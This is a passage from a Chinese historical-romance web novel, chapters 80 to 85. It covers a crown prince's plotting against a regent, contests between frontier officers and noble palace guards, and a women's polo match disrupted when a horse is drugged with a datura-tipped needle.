萧瑾卿猛地转身,发冠上东珠摇晃得几乎要坠落:"本太子忍了十年!还要等到何时?!" "殿下!" 赵砚洲膝行上前,死死攥住对方衣摆,"皇后娘娘请国师算过命数 —— 待您登上大位,还需摄政王为您平定四海!他现在不能死,可没说以后不能……" 他压低声音,眼中闪过毒蛇般的阴狠,"等您坐稳江山,要风得风要雨得雨,那时再杀了他也不迟。" 提到 皇后娘娘,萧瑾卿的动作骤然僵住。 他盯着窗外摇曳的竹影,想起母后面容,呼吸渐渐平缓。 萧景清凝视着窗棂投下的光影,指尖无意识摩挲着腰间蟠龙玉佩。 当赵砚洲仍跪伏在地时,他俯身拾起案上半碎的茶盏,声音平静得如同春日湖面:"起来吧,地上凉。" 他伸手虚扶对方胳膊,月白色锦袍上的暗纹随着动作轻晃。 "方才是我莽撞了。" 萧景清将茶盏碎片放入青瓷盘中,瓷片相击发出清响,"北疆战事吃紧,摄政王确实还需留用。母后目光长远,你能时刻记着提醒我,倒显得我狭隘了。" 赵砚洲起身时膝盖发软,却在触及对方温热的掌心时僵住 。 那双手看似温和地搭在他肘间,实则暗含力道。 "殿下折煞小人了!" 他慌忙垂首,额前碎发挡住眼底翻涌的算计,"您心怀天下,不过一时被奸人蒙蔽。将来登上帝位,定要让那瘸子好看!" "慎言。" 萧瑾卿笑着拍了拍他肩膀,力道却重得让他险些踉跄,"往后还需你帮我盯着朝中动向。等大局已定……" 他忽然凑近,温热的呼吸拂过赵砚洲耳际,"这天下,自然有你一席之地。" 廊下铜铃突然叮咚作响,惊起檐下白鸽。 萧瑾卿松开手转身整理发冠,冠冕在日光下折射出细碎光芒。 赵砚洲望着他挺直的脊背,喉结滚动着咽下未出口的谄媚,袖中双手已被冷汗浸透。 当今圣上自三年前秋狩坠马后便缠绵病榻,时常辍朝,偌大的江山实则由摄政王裴子慕代为执掌。 这位铁血王爷虽身有残疾,却以雷霆手段镇住北疆虎视眈眈的游牧部落,又将六部官员梳理得服服帖帖,满朝文武,半数见了他的轮椅都要低头三分。 相较之下,其他皇子实在难成气候。 第80章 镇北 二皇子生母位份低微,整日沉溺于书画,连早朝都时常称病缺席。 三皇子尚在总角之年,还在太傅跟前咿呀学语。 四皇子天生体弱,药石罔效,连宫宴都极少露面。 唯有太子萧瑾卿,作为中宫皇后嫡出,自幼便被立为储君,身份尊贵,名正言顺。 朝堂上支持太子的势力也不容小觑 —— 文有内阁首辅力挺正统,武有父亲执掌兵部,再加上皇后在后宫运筹帷幄,看似稳操胜券。 可赵砚洲比谁都清楚,表面的平静下暗藏危机。 摄政王裴子慕看似忠心耿耿辅佐幼主,实则大权在握,军中威望无人能及。 若不是北疆战事吃紧,急需裴子慕挂帅出征,皇后娘娘也绝不会默许他继续摄政。 父亲常说,这皇位之争,就像一盘下到中局的棋,稍有不慎便是满盘皆输。 赵家既已押注在太子身上,便只能一条道走到黑。 唯有助萧瑾卿顺利登基,才能保家族百年富贵,否则,等待他们的将是万劫不复的深渊。 马球场上,镇北军将领们簇拥着裴子慕的轮椅,铁甲碰撞声混着粗犷笑声。 "王爷这球打得,比咱们在漠北突袭敌营还痛快!" "老子进了京城天天被那些公子哥斜眼看,今儿总算扬眉吐气了!" 一个镇北军将领蹲坐在马球场的石阶上,粗布绑腿磨得发白,膝盖处打着层层叠叠的补丁。 他望着远处金吾卫公子们绣着金线的锦袍,啐了口吐沫:"老子在冰天雪地里啃硬窝头的时候,这帮龟孙子正搂着歌姬喝花酒!" 话音未落,另一个人便扯着嗓子大笑起来,伤疤狰狞的脸上满是不屑,"上次见个金贵公子,连马都不敢骑,还敢嘲笑咱们是泥腿子!" 先锋官擦了擦腰间的短刀,那刀身缺了好几个口子,是他从敌将手里夺来的战利品。 "进了京城才知道,原来靴子能镶宝石,喝茶要用镶金边的杯子。" 他嗤笑着摇头,想起前日被王府管家嫌弃身上的血腥味,眼底燃起怒火,"老子这一身血,可比他们那些金玉其外的玩意儿干净多了!" 众人你一言我一语,铁甲碰撞声混着粗粝的咒骂。 有人摸着脸上被箭簇划开的伤疤,恨恨道:"那些王孙贵胄,见着咱们就捂鼻子,好像老子身上的血腥味是什么腌臜东西!他们也不想想,要不是老子们在边关拼命,他们能在京城风花雪月?" 副将拍了拍腰间的酒囊,浑浊的眼神里满是轻蔑:"瞧他们弱不禁风的样子,上了战场怕是尿裤子。还敢瞧不起咱们?等哪天开战了,让他们也尝尝啃树皮、喝雪水的滋味!" 众人哄笑起来,笑声里带着在边塞磨砺出的野性,也藏着对这些养尊处优的贵胄们的不屑。 声音传到世家公子们这边,可不干了。 本朝金吾卫多由世家公子担任,他们出身显贵,自小养尊处优。 平日里,这些青年身着精美的银甲,甲胄上的纹饰皆出自能工巧匠之手,缀着的宝石在阳光下熠熠生辉。 腰间配着的绣春刀,刀鞘镶金,吞口处雕刻着威严的兽首,彰显着身份的尊贵。 出行时,他们骑着高头大马,或是乘着装饰华丽的马车。 路过茶楼酒肆,满楼的红袖佳人常凭栏观望,抛下罗帕、香囊示好。 闲暇时,金吾卫们或是相聚在画舫中饮酒作乐,掷骰子、听曲儿;或是相约去醉仙居看舞姬献艺,享受着纸醉金迷的生活。 他们谈论诗词歌赋、奇珍异宝,穿着江南进贡的云锦裁制的衣衫,佩戴着价值连城的玉佩、腕表,举手投足间尽显潇洒风流。 金吾卫的选拔之严在京中也是闻名。 每三年一次的考校,世家子弟需通过骑射、格斗、兵法三道关卡,平日里,金吾卫的操练亦不松懈。 每日清晨,教场便响起阵阵号角声。 银甲在阳光下闪耀,世家子弟们纵马奔驰,他们褪去华贵衣衫,身着劲装,汗水浸透衣襟,却无一人喊累。 为激励后进,金吾卫设有每月比武,优胜者不仅能得到丰厚赏赐,更有机会随驾出巡。 因此,这些世家子弟虽生活优渥,却也不敢懈怠,日夜苦练,力求在操练与考校中崭露头角,维护家族荣耀的同时,也证明自身实力。 经年累月的严苛训练,让许多金吾卫成员的骑射功夫丝毫不逊色于边军将士。 “不过是仗着在边疆杀了几个毛贼,就敢在天子脚下撒野?真要论起本事,怕是连我家马夫都不如!” “可不是,瞧他们那身锈迹斑斑的铁甲,” 李侍郎家的幼子嗤笑着扯了扯自己簇新的银丝软甲,腰间羊脂玉坠子晃出冷光,“也不嫌丢人现眼。我金吾卫戍守皇城,护的是天子威仪,岂是他们能比的?” 他身旁几个公子哥纷纷附和,绣着花纹的锦袍花团锦簇,熏香混着轻蔑的嗤笑扑面而来。 镇北军将领们平日里最烦这些耻笑,近日当面挑衅哪还能忍。 一个将军粗着嗓子吼道,"听说金吾卫的爷们儿骑射不错?" 他上前一步,铁甲簌簌作响,"敢不敢现在就比?靶子现成的,马球场上的桩子就行。" "比就比!输了的人,跪下来给赢家牵马!" "牵马?太小家子气!" 镇北军将领冷笑,"输家当场扒了这身皮,光着膀子绕皇城跑三圈!" 这话让镇北军爆发出哄笑,几个将领已经开始解护腕,露出胳膊上狰狞的刀疤。 金吾卫这边立刻炸开了锅。陆少傅把玄铁折扇 "啪" 地合上:"糙汉就是糙汉,比就比,谁怕谁!" 他身后十几个公子哥哗啦一下围上来,有人直接翻身上马,锦袍下摆扫过马鬃扬起一片尘土。 裴子慕转动轮椅横在中间,铁轮碾过碎石发出吱呀声:"都当这是菜市场?" 他敲了敲轮椅扶手,凤目扫过两边涨红的脸,"要比就比三场 —— 骑射、投壶、马战。输家……" 他顿了顿,声音突然变冷,"三个月军饷充作国库。" 金吾卫这边围着萧承霁,三个月军饷对他们来说不过九牛一毛,但对这些出身底层的镇北军将领们来说,可是养家糊口的银两。 第81章 三战 萧承霁把玩着香囊,似笑非笑的看着裴子慕,"王爷说话可算数?" "本王的话,什么时候不算数过?" 裴子慕抬手招来侍从取弓,白羽箭尾的鹰翎在风中颤动,"谁先?" 暮春的风卷着柳絮掠过校场,箭靶前的蒲公英被踩踏成碎末。 金吾卫沈家的小公子扯开银丝绣着瑞兽的披风,雕弓如满月拉开。 第一支白羽箭破空而去,"咚" 地钉入红心,围观人群爆发出惊呼。 他紧接着连发两箭,三支箭尾在靶心处几乎重叠。 "好!" 金吾卫众人高声喝彩,簇拥过来拍着沈小公子肩膀,银甲相撞声混着叫好声惊得槐树上的麻雀扑棱棱乱飞。 萧承霁也微笑着对沈小公子竖了大拇指,金吾卫的骑射可是日日操练的,若是连靶心都射不中可是会被同僚们笑话死。 "就这点本事?" 镇北军将领老周突然跨上战马,他身后的镇北军将领们齐刷刷翻身上马,马蹄踏碎满地落花。 老周扯开领口,露出锁骨处狰狞的箭伤疤痕:"在战场上,谁会像个靶子站着等你射?" 马蹄声骤然响起。老周的战马从箭靶左侧狂奔而过,他半蹲在马鞍上,弓弦抖动间,箭矢擦着沈公子的箭杆掠过,精准钉在箭尾。 第二骑飞驰而来,雕翎箭击碎金吾卫的箭羽,木片纷飞中又一支箭牢牢嵌在箭尾。 当第三骑掠过靶前时,围观的贵女们纷纷惊呼。 他竟在颠簸中一箭贯穿三支白羽箭的尾羽。 校场陷入死寂。金吾卫的欢呼卡在喉咙里,沈小公子盯着靶心处层层叠加的箭矢,手指无意识摩挲着镶玉箭囊,脸色难看。 萧承霁望着镇北军将领们身后扬起的柳絮,突然听见裴子慕轻笑出声。 轮椅碾过青砖地的声响由远及近,裴子慕苍白的手指抵在唇边:"听说金吾卫的箭术是京中一绝?" 他摇头,"可惜,战场上从来只分生死,不分绝不绝。" 金吾卫一片沉寂,萧承霁一抱拳,“骑射我们输了,心服口服,这只是第一场,且看接下来。” 第二局是投壶。 暮春的斜阳为校场镀上一层暖金,青铜投壶置于两方中央,壶口插着的春枝在微风中轻轻摇曳。 金吾卫与镇北军各自列阵,银甲与铁甲在日光下折射出截然不同的光芒。 比试开始,金吾卫这边率先登场。 一位公子上前一步,广袖轻扬间,已拈起一支雕花木矢。 他手腕微转,木矢呈抛物线飞出,在空中划出一道优美的弧线后,稳稳落入壶中。 紧接着第二支、第三支,木矢接连入壶,引得围观人群阵阵喝彩。 其他金吾卫公子见状,纷纷上前展示技艺,有人优雅如行云流水,有人自信满满,每一次投掷都带着世家子弟特有的从容,不多时,投壶内已插满木矢。 轮到镇北军时,气氛陡然变得凝重。 老周跨步上前,粗糙的手掌攥着纤细的木矢,显得极不协调。 他眯起眼睛,模仿着金吾卫的动作用力一掷,木矢却直直砸在壶沿,弹落在地。 王虎在旁看得着急,抢过木矢尝试,结果用力过猛,木矢远远飞过投壶,惊起树上的鸟儿。 他将领轮番上阵,不是木矢偏离方向,就是在壶口打转后掉落,引得金吾卫阵营传来阵阵嗤笑。 "这玩意儿比拉强弓还难!" 老周抹了把额头的汗,嘟囔着退到一旁。 镇北军将领们面红耳赤,他们在战场上能以一敌百,此刻面对这精致的贵族游戏却束手无策。 最终,投壶内金吾卫的木矢密密麻麻,而镇北军寥寥无几,胜负一目了然。 萧承霁抱臂而立:"王爷,看来这一局,是我们金吾卫胜了。" 裴子慕转动轮椅凑近,看着镇北军将领们笨拙的模样,嘴角勾起一抹淡笑:"投壶讲究的是巧劲,非朝夕可成。" 校场中央扬起漫天黄土,第三局马战即将开场。 金吾卫十人骑着毛色油亮的西域良驹,银甲在阳光下泛着冷光,腰间绣春刀的金吞口狰狞可怖。 反观镇北军,十匹战马身形精瘦,鞍具上还留着北疆风沙的痕迹,将领们的铁甲补丁摞补丁,唯有眼神中透着久经沙场的狠厉。 战鼓擂响,两队人马如离弦之箭对冲。 金吾卫凭借马匹速度更快,率先发起攻击。 沈小公子的长枪直刺镇北军先锋,却被对方用陌刀轻松格开。 然而金吾卫的精良甲胄开始显现优势,镇北军的兵器砍在银甲上,只留下浅浅白痕。 几个回合下来,战局逐渐明朗。 镇北军将领们本就擅长近身搏杀,可碍于比试不能下死手,招式威力大打折扣。 本是一刀劈向对手,却在触及对方咽喉时生生收住力道,反被金吾卫趁机刺中肩头。 老周挥舞着战斧,本想横扫一片,又怕伤了人,只能不断变招,动作愈发滞涩。 萧承霁一声令下,众人立刻摆出雁形阵,将镇北军分割包围。 镇北军被困在阵中,施展不开,渐渐陷入被动。 战团中杀声震天,兵器碰撞声此起彼伏。 金吾卫凭借马匹速度和精良甲胄,不断发起冲击。 他们的战马经过专门训练,时而腾跃避开攻击,时而人立踩踏。 赵家三少爷瞅准时机,长枪直刺镇北军一名偏将。 那偏将本能地要反手一刀,却在最后关头收力,结果被一枪挑下马来。 金吾卫发出胜利的欢呼,银甲在夕阳下闪烁,宛如一片银色的海洋。 校场扬起的尘土尚未落定,十匹银甲战马已呈半月形将镇北军将领们围住。 沈小公子的长枪斜指地面,枪缨扫过老周染血的肩头:"降了吧,别在这儿丢人现眼。" 金吾卫爆发出哄笑,马蹄不安地刨着泥土,溅起的碎石砸在镇北军的旧甲上。 老周突然将战斧重重杵进地面,震得四周黄土簌簌落下。 他扯开领口露出胸口的疤痕,混着血污的牙齿咬得咯咯作响:"老子在漠北被鞑子们围了三天三夜都没降过!" 话音未落,十把陌刀同时出鞘,刀身的豁口在暮色中泛着冷光。 十名镇北军将领背靠背结成两个圆阵,铁甲缝隙里渗出的血珠滴落在球场的泥土上。 第82章 不降 偏将的陌刀横在胸前,刀锋还沾着金吾卫银甲的碎屑:"要老子投降,除非从尸体上踏过去!" 嘶哑的吼声惊飞了槐树上的寒鸦,围观人群中传来贵女们压抑的抽气声。 金吾卫的马蹄声突然变得犹豫。 萧承霁原本悠哉的神情退却,神情肃穆,看着那些即便深陷重围仍将后背交给彼此的身影。 他们每个人身上都带着伤疤,每个人的眼神都像北疆的狼,带着豁出命去的狠劲。 "镇北军!" 有人突然嘶吼。 "誓死不降!" 十声嘶哑的回应撞碎在马场围墙上。 裴子慕转动轮椅上前,苍白手指抚过轮椅扶手上的螭纹,他看见金吾卫们紧绷的神情,这些从小就出生在豪门士族,在歌舞升平的上京长大,这辈子都没上过战场的公子哥们,大概从未见过这样不要命的打法。 马场陷入诡异的寂静,唯有刀锋划破空气的嗡鸣,在暮色里盘旋不去。 萧承霁的长枪缓缓垂下,枪缨扫过老周凝结血痂的脖颈。 他突然长舒一口气,银甲在暮色里发出细碎的轻响:“罢了。” 话音未落,金吾卫众人皆是一怔,校场陷入诡异的寂静。 “你们守着漠北的风沙,用血肉之躯筑起城墙。” 萧承霁翻身下马,头盔摘下时,露出额角被汗水浸透的碎发,“上京的繁华安稳,是你们用命换来的。” 他弯腰拾起地上镇北军将领掉落的护腕,粗糙的牛皮上还留着北疆的砂砾,“今日这局,金吾卫认输。” 金吾卫阵列中响起一阵骚动,有人下意识握紧绣春刀,却在看到首领凝重的神色后缓缓松开。 沈小公子张了张嘴,最终将反驳的话语咽回喉间。 陆少傅的折扇 “啪” 地合拢,打破了凝滞的空气:“萧兄所言极是。” 他上前一步,目光扫过镇北军染血的战甲,“这天下太平,本就该是你我共同守护。” 校场四周传来此起彼伏的抽气声。 镇北军将领们紧握陌刀的手渐渐放松,王虎晃了晃险些栽倒,被老周一把扶住。 晚风卷起地上的碎木矢,带着硝烟味的空气里,剑拔弩张的气息悄然散去。 萧承霁伸手扶起老周,两个身份悬殊的将领对视一眼,竟同时笑出声来。 夕阳将他们的影子拉得很长,在满地狼藉的校场上,渐渐融成一片。 绣楼栏杆被层层叠叠的罗裙挤得发颤,贵女们攥着丝帕的手指微微收紧。 先前还掩袖嘲笑镇北军粗陋的莺莺燕燕,此刻望着血泊中依然挺立的身影,眼底泛起一丝敬佩。 有人轻声呢喃:"原来他们的伤疤,都是保家卫国的勋章。" 但这份动容转瞬即逝。 当萧承霁翻身下马,银甲在暮色里泛起清冷光泽,绣楼瞬间响起此起彼伏的抽气声。 他弯腰扶起老周的动作,被贵女们看作是温润如玉的君子气度,手中折扇轻摇,扇面上的远山近水仿佛都不及他眉间风华。 沈小公子擦拭长枪的姿态优雅从容,指尖在纹饰上流连,似在诉说着世家子弟的矜贵。 陆少傅负手而立,玄铁折扇轻叩掌心,嘴角若有似无的笑意,更是让二楼传来压抑的议论:"这般风姿,当真是人中龙凤。" 相比之下,镇北军将领们满身血污、铁甲残破的模样,在贵女们眼中终究不如金吾卫的华贵耀眼。 她们重新将绣帕贴在唇边,目光追随着金吾卫首领们谈笑风生的身影,偶尔投向镇北军的眼神,也只是带着几分猎奇与怜悯。 慕容雪踮着脚探出半截身子,鹅黄襦裙的系带在风中乱晃:“我也要参军!像他们一样保家卫国!” 话音未落,窦娇娇便捏着丝帕掩唇冷笑:“连茶盏都端不稳的娇小姐,上战场怕是要连累三军。” 慕容玉款步上前,月白色披帛随晚风轻扬。 她伸手将慕容雪微微颤抖的肩头拢入怀中,声音如同春日新茶般温润:"郡主说得对,上阵杀敌确实不易。" 窦娇娇正要得意,却见慕容玉抬手理了理鬓边的玉簪,眸光清澈如水:"不过当年梁红玉击鼓退金兵,平阳公主率娘子军建功,这些巾帼英雄的故事,郡主可曾听过?若说女子只能困于深闺,岂不是辜负了万千女儿的热血?" 她转身握住慕容雪冰凉的手,"阿雪既心怀壮志,便去做吧。若有人非议,姐姐虽无缚鸡之力,却也愿为你寻最好的师父,备最利的甲胄。" 窦娇娇的脸涨得通红,正要反驳,却被楼下传来的马蹄声打断。 校场传来的马蹄声中,萧承霁抬眼望向绣楼,只见日光为慕容玉勾勒出柔和的轮廓,却掩不住她眼底的坚定。 萧承霁银甲上灰尘扑扑,笑容却清朗如春日暖阳:"慕容姑娘与令妹若真有此志,他日校场,萧某愿为姑娘牵马执鞭。" 慕容玉微微福身致谢,裙裾上的银线绣着的木兰花开得正好。 这话惊得满楼寂静,随后绣楼廊下的窃窃私语如潮水般涌来。 窦娇娇攥着丝帕的手指骤然收紧,而其他贵女们的目光则像被磁石牵引,纷纷投向这位素日里只以温婉闻名的慕容家二房长女。 英国公夫人起身,月白织金襦裙带起一阵香风。 她穿过交头接耳的人群,纤长手指轻轻搭在慕容玉肩头,掌心的暖意透过纱衣传来:“这话说得好。” 夫人语气里带着不容置疑的威严,“咱们勋贵人家的女儿,本就该有这般胸襟。” 窦娇娇的脸色瞬间变得煞白,张了张嘴却被英国公夫人一个眼神堵了回去。 夫人揽着慕容玉的手微微收紧,将人往自己身旁带了带,目露怀念:“当年我随英国公戍边时,见过不少女中豪杰。如今世道太平,倒有人忘了,咱们这些妇道人家,骨子里也有铮铮铁骨。” 这番话让廊下议论声戛然而止,慕容玉仰头望向夫人,正对上那双布满细纹却依旧清亮的眼睛,忽然鼻尖发酸。 曾经她是侯府最不起眼的女儿,众人的目光会落在清冷脱俗的慕容浅身上、冰雪可爱的慕容雪身上、再不济还有刁蛮任性的慕容笙,谁会注意到一个沉默寡言,不甚讨喜的她呢。 第83章 骑装 英国公夫人的指尖轻轻摩挲着慕容玉单薄的肩头,仿佛能透过衣料感知到少女紧绷的脊背。 夫人望着校场暮色中萧承霁远去的背影,忽然轻笑出声,鬓边的珍珠步摇随着颤动:"阿玉可知,珍珠最是奇特。" 她垂眸凝视着慕容玉发间素白的绢花,声音像是浸在温水里,"即便被埋在蚌壳深处不见天日,只要有人剖开坚硬的外壳,那光华便能照亮半片天地。" 慕容玉猛地抬头,正对上那双历经岁月沉淀的眼睛。 夫人布满细纹的手抚过她泛红的眼角,语气里带着长辈独有的慈爱:"莫要轻看了自己。这世道终会有人懂得,温润谦和下藏着的锋芒,比任何利刃都要耀眼。" 绣楼外的晚风掀起两人的衣袂,英国公夫人身上的沉水香混着慕容玉发间的茉莉香,在暮色里织成细密的网。 窦娇娇攥着帕子的身影渐渐隐入人群,而慕容玉却觉得眼眶发热。 她忽然想起幼时在书斋读到的句子,此刻被夫人的话一激,那些字句竟都鲜活起来。 马场传来的更鼓声里,英国公夫人将她鬓边散落的发丝别到耳后,手指轻轻擦过她发烫的耳垂:"且等着瞧,自有懂得拾珠的人,将你捧在掌心。" 夕阳将校场染成血色时,长公主骑着通体漆黑的烈马疾驰而来。 她身着一袭火红骑装,金线绣就的花纹随着马背颠簸若隐若现,腰间紧紧系着一条攒珠勒子晃出细碎流光。 一头长发尽数编成利落的长辫,发尾用红绸随意束着,几缕碎发被风吹得贴在棱角分明的下颌,衬得那双丹凤眼愈发锐利。 "整日瞧男人比划,当真无趣!" 她猛地勒住缰绳,黑马人立而起,嘶鸣声惊飞满树麻雀。 她张扬的笑声荡开,"今日便由本宫开个先例 ——" 纤长手指指向场边的马球杆,"敢与本宫打一场女子马球的,站出来!" 绣楼瞬间炸开锅。 英国公夫人抚掌大笑,厚重的披风应声而落:"公主既有雅兴,老身便舍命陪君子!" 武将家的女眷们轰然应和,纷纷解下珠翠钗环。 更多贵女却攥紧了丝帕,裙裾在风中簌簌发抖:"哪有女子这般抛头露面的?" “这成何体统?” “球杆粗重,哪里握得稳?” 窦娇娇却早已按捺不住,她自小酷爱骑射,见此情况二话不说换了骑装。 她蹬掉绣鞋,穿上鹿皮马靴,翻身上马时故意斜睨慕容浅姐妹:"有些人光会嘴上逞能,真上了场 恐怕连马背都爬不上。" 话音未落,长公主突然驱马掠过她身侧。 "少废话!" 长公主的球杆重重敲在她马镫上。 她骑着黑马旋风般卷到慕容浅身前,衣裳在风中翻飞,辫梢的银铃随着动作叮咚作响。 她单手撑着马鞍,弯起的丹凤眼盛满笑意:"阿浅,瞧了半日热闹,手痒了没?" 说着便将金镶玉的马球杆递过去,"本宫新得了套球杆,正缺个能接招的人。" 慕容浅望着杆上精巧的缠枝莲纹,唇角扬起弧度。 她抬手拂开被风吹乱的鬓发,利落的翻身上马:"公主都开口了,我哪有不应的道理?" “只是若输了,公主可别恼。” 长公主闻言放声大笑,她猛地一甩长辫,辫梢的银铃撞出清脆声响:“好!若你能进本宫三球,往后想要什么,尽管开口!” 说罢一夹马腹,黑马嘶鸣着冲向马球场深处。 慕容雪再也按捺不住内心的急切,策马扬鞭,一路带起滚滚尘土,风风火火地冲到长公主和慕容浅身旁。 她勒住缰绳,座下马儿嘶鸣一声,前蹄扬起。 慕容雪双颊因兴奋而泛着红晕,一双眼睛亮晶晶的,急切又欢快地说道:“大姐,我和你一队!” 说罢,还得意地晃了晃手中的马球杆,仿佛已经看到了她们在球场上大获全胜的场景。 长公主扭头看向慕容雪,眼中满是宠溺与笑意,她伸手轻轻点了点慕容雪的额头,打趣道:“你这丫头,可别到时候拖了你姐姐的后腿。” 慕容雪不服气地噘起嘴,扬起下巴道:“大姐放心,我定能和你一起把对方打得落花流水!” 长公主猛地一扯缰绳,黑马昂首嘶鸣,她猩红的骑装在风中猎猎作响。 转头扫视众人,目光落在窦娇娇身上:“你,还有英国公夫人、李家夫人,你们几个都到本宫这队来!” 被点到的夫人们立刻应和着翻身上马,窦娇娇更是得意地冲慕容浅扬了扬下巴。 慕容浅笑着揉了揉妹妹的头,转头望向几位武将家的女眷:“张夫人、刘小姐,愿意赏脸与我们并肩作战吗?” “慕容姑娘相邀,自然乐意!” 众人纷纷应道,利落地上马,手中的球杆在暮色中泛着冷光。 两队人马在校场两端列阵,长公主举起球杆指向天际,辫尾的红绸随风狂舞:“丑话说在前头,输家可不许耍赖!” 随着一声清脆的哨响,马球比赛正式拉开帷幕,马蹄声、呼喊声瞬间响彻整个校场。 长公主的黑马率先窜出,猩红裙摆如火焰掠过草地。 她手中球杆划出弧线,马球 “砰” 地撞向慕容队球门方向。 窦娇娇立刻驱马跟上,软鞭甩得噼啪作响,惊得旁侧马连连嘶鸣。 慕容浅轻夹马腹,月白骑装鼓成风帆。 她目光锁定滚动的马球,突然侧身探杆,檀木球杆擦着窦娇娇的靴底掠过,精准勾住球身。 慕容雪紧跟其后,两人一左一右形成合围之势,枣红马与白马的蹄声如鼓点交错。 长公主勒马急刹,辫梢银铃叮当作响。 她旋即调转马头,带着女眷们组成防守阵型。 王夫人的球杆横扫而来,慕容浅却猛地将球击向斜角。 慕容雪拍马赶到,球杆借力一挑,马球高高越过人墙。 校场沸腾如锅,慕容浅瞅准时机,双腿夹紧马腹腾空而起,球杆狠狠砸向半空的马球,马球如流星般直坠对方球门。 随着 “咚” 的闷响,球落网中,慕容队女眷们抛起头盔欢呼,马蹄扬起的尘土裹着晚霞,将胜利的呐喊送向天际。 第84章 马儿 长公主猛地勒住缰绳,爽朗的笑声飞上天际:"好你个阿浅!平日里瞧着柔柔弱弱,打起马球来比男儿还利落!" 说着伸手重重拍了拍慕容浅的肩膀,护甲撞在她的骑装上发出清脆声响。 慕容浅脸颊泛红,微微喘气着福身:"公主谬赞了,不过是运气罢了。" 她话音未落,长公主已翻身下马,一把揽住她的肩膀,转头向众人扬声:"今日这场球,慕容姑娘赢得漂亮!按约定 ——" 她故意拖长尾音,引得周围贵女们屏息,"本宫今晚便备下桃花酿,还要请最好的厨子做一桌美食,专门给赢家接风!" 欢呼声还在耳边回荡,慕容浅胯下的白马突然剧烈震颤,仿佛被雷电劈中般高高人立而起。 它脖颈暴起的青筋如扭曲的蚯蚓,鼻孔喷出的灼热气息裹着草料腥味,前蹄在空中疯狂蹬踏,铁蹄与空气相撞发出刺耳的锐响。 慕容浅本能地后仰躲避,双手死死攥住缰绳,粗糙的皮革瞬间磨破掌心。 这匹方才还温顺地吃着她掌心草料的白马,此刻眼白翻涌,瞳孔里跳动着疯狂的红光,完全成了失控的猛兽。 “吁!快停下!” 慕容浅声嘶力竭地呼喊,声音却被马蹄踏地的轰鸣碾碎。 她双腿狠狠夹紧马腹,腰腹发力试图扭转马首,可白马发了疯似的甩动脑袋,喉间发出暴戾的嘶鸣,朝着绣楼方向狂奔而去。 前方的贵女们顿时乱作一团,绣着金线的裙裾翻飞如受惊的蝶群,尖叫声、哭喊声混着钗环坠地的脆响此起彼伏。 窦娇娇被慌乱的人群撞得踉跄后退,脚下一滑重重摔在青石阶上,精心盘起的发髻瞬间散乱,珍珠步摇 “当啷” 一声滚到地上。 她惊恐地望着越来越近的马蹄,双手在地上慌乱抓挠,试图找点东西保护自己。 生死关头,慕容浅的脑海中闪过一道冰冷的光 —— 只要松开缰绳,借着马匹前冲的惯性纵身一跃,她就能滚到旁边的软草地上,避开这场灭顶之灾。 可就在这电光火石间,眼角余光瞥见窦娇娇惨白如纸的面容,还有不远处英国公夫人苍白颤抖的手以及花容失色的贵女们。 慕容浅一咬牙,将缰绳在手腕上狠狠缠了两圈。 白马再次人立而起时,她整个人扑上前,双臂死死抱住马颈,任凭粗糙的鬃毛刺进皮肉,双腿如铁箍般紧紧夹住马腹,拼尽全身力气扭转缰绳,试图将这头失控的野兽引向校场边缘的空地。 皮革缰绳在慕容浅掌心即将崩断的瞬间,一道寒芒破空而来。 裴子慕的乌木轮椅碾过碎石,玄色广袖无风自动。 他苍白的手指轻叩轮椅扶手,暗藏的机关瞬间弹开,三道精钢链条如离弦之箭破空而出,链尾淬银的倒钩在夕阳下泛着冷光。 第一条锁链缠住马腿的刹那,白马发出凄厉嘶鸣,在地上拖出半丈血痕。 其余两条锁链却未停歇,如灵蛇般绕住马颈与前蹄,将这发狂的畜生死死钉在原地。 裴子慕指尖青筋暴起,额角渗出冷汗,轮椅底部的齿轮疯狂转动,发出令人牙酸的摩擦声 —— 这特制的机关虽强,却也需要耗费极大气力。 慕容玉和慕容雪双双上前,扶住从马上下来的慕容浅。 “大姐!你没事吧!” 慕容浅轻轻摇头,感觉四肢一阵酸痛。 “阿浅小心!” 长公主的惊呼未落,英国公世子萧承霁已如苍鹰般扑来。 他不顾飞溅的碎石,双臂死死扣住马首,任凭马儿用力挣扎,仍俯身贴着马耳低声安抚。 马剧烈挣扎间,萧承霁肩头的银甲被踢得凹陷,却始终未松手,终于让这头失控的野兽渐渐平息。 当惊马终于停止挣扎,萧承霁却未放松分毫。 他半跪在剧烈喘息的白马身侧,手掌仍牢牢按着马首,另一只手却沿着颤抖的鬃毛缓缓摸索。 掌心触到马耳后凸起的硬块时,他瞳孔骤然收缩 —— 那是根藏在绒毛下的细小银针,针尖还沾着些许暗褐色粉末。 "找到了。" 他声音低沉如雷,两指猛地捏住针尾。 白马吃痛地嘶鸣一声,却在银针拔出的瞬间浑身一颤,原本通红的眼珠渐渐恢复清明。 裴子慕转动轮椅靠近,苍白的手指接过银针。 他低头嗅了嗅针尖的粉末,薄唇轻启:"曼陀罗花汁。" 声音虽轻,却让周围温度骤降,"此毒能让牲畜发狂,无色,但有特殊的香味,凡是沾染过的衣物上必定留有气味。" 他抬起眼,漆黑的眸子扫过人群,惊得众人纷纷后退。 “封锁校场!敢在本宫眼皮子底下动手脚,当真以为皇室威严是儿戏?”长公主的丹凤眼闪过寒光。 马场的气氛正剑拔弩张时,东侧传来一声尖锐的 “啊 ——”。 众人循声望去,只见站在人群最后面的慕容笙跌进了马场旁的荷花小湖,藕荷色的裙裾在水面上漂成一团湿漉漉的云。 她双臂乱挥,发髻上的珍珠钗子 “扑通” 掉进水里,溅起的水花糊了满脸。 “快救人!” 慕容玉下意识往前冲,却被慕容雪拽住衣袖 。 “姐,那水浅的很,根本淹不死人。” 慕容笙还在水里拼命扑腾,发髻瞬间松散,水花四溅,惊得满池锦鲤四散逃窜。她想张嘴呼救,却被湖水呛得直咳嗽,脸上精心描绘的胭脂水粉被泡得糊成一片,黛眉晕染成两条灰黑的线,腮红顺着下巴往下淌,活像只被雨浇透的花孔雀。 她扑腾了两下见没人来救,不禁尴尬地停了下来,这一直起腰才发现,湖水不过漫到她膝盖。 她讪讪笑道,“不知怎么脚下一滑……” 话音未落一条乱窜的锦鲤越出水面,慌不择路的把尾巴甩到她脸上。 慕容笙惊慌之下,真的脚一软,“扑通” 一声再次坐进水里,溅起的水花糊了自己一脸,还顺带泼了岸边围观的贵女们满身泥点。 绣楼上的窃窃私语声再也压抑不住,化作此起彼伏的嗤笑。 长公主睨着裴子慕手中沾着曼陀罗粉末的银针,唇角勾起抹意味深长的弧度。 第85章 施针 “在场的可都是众家夫人和小姐,” 她指尖轻点马鞭,“难不成要脱了诸位的衣裳验毒?” 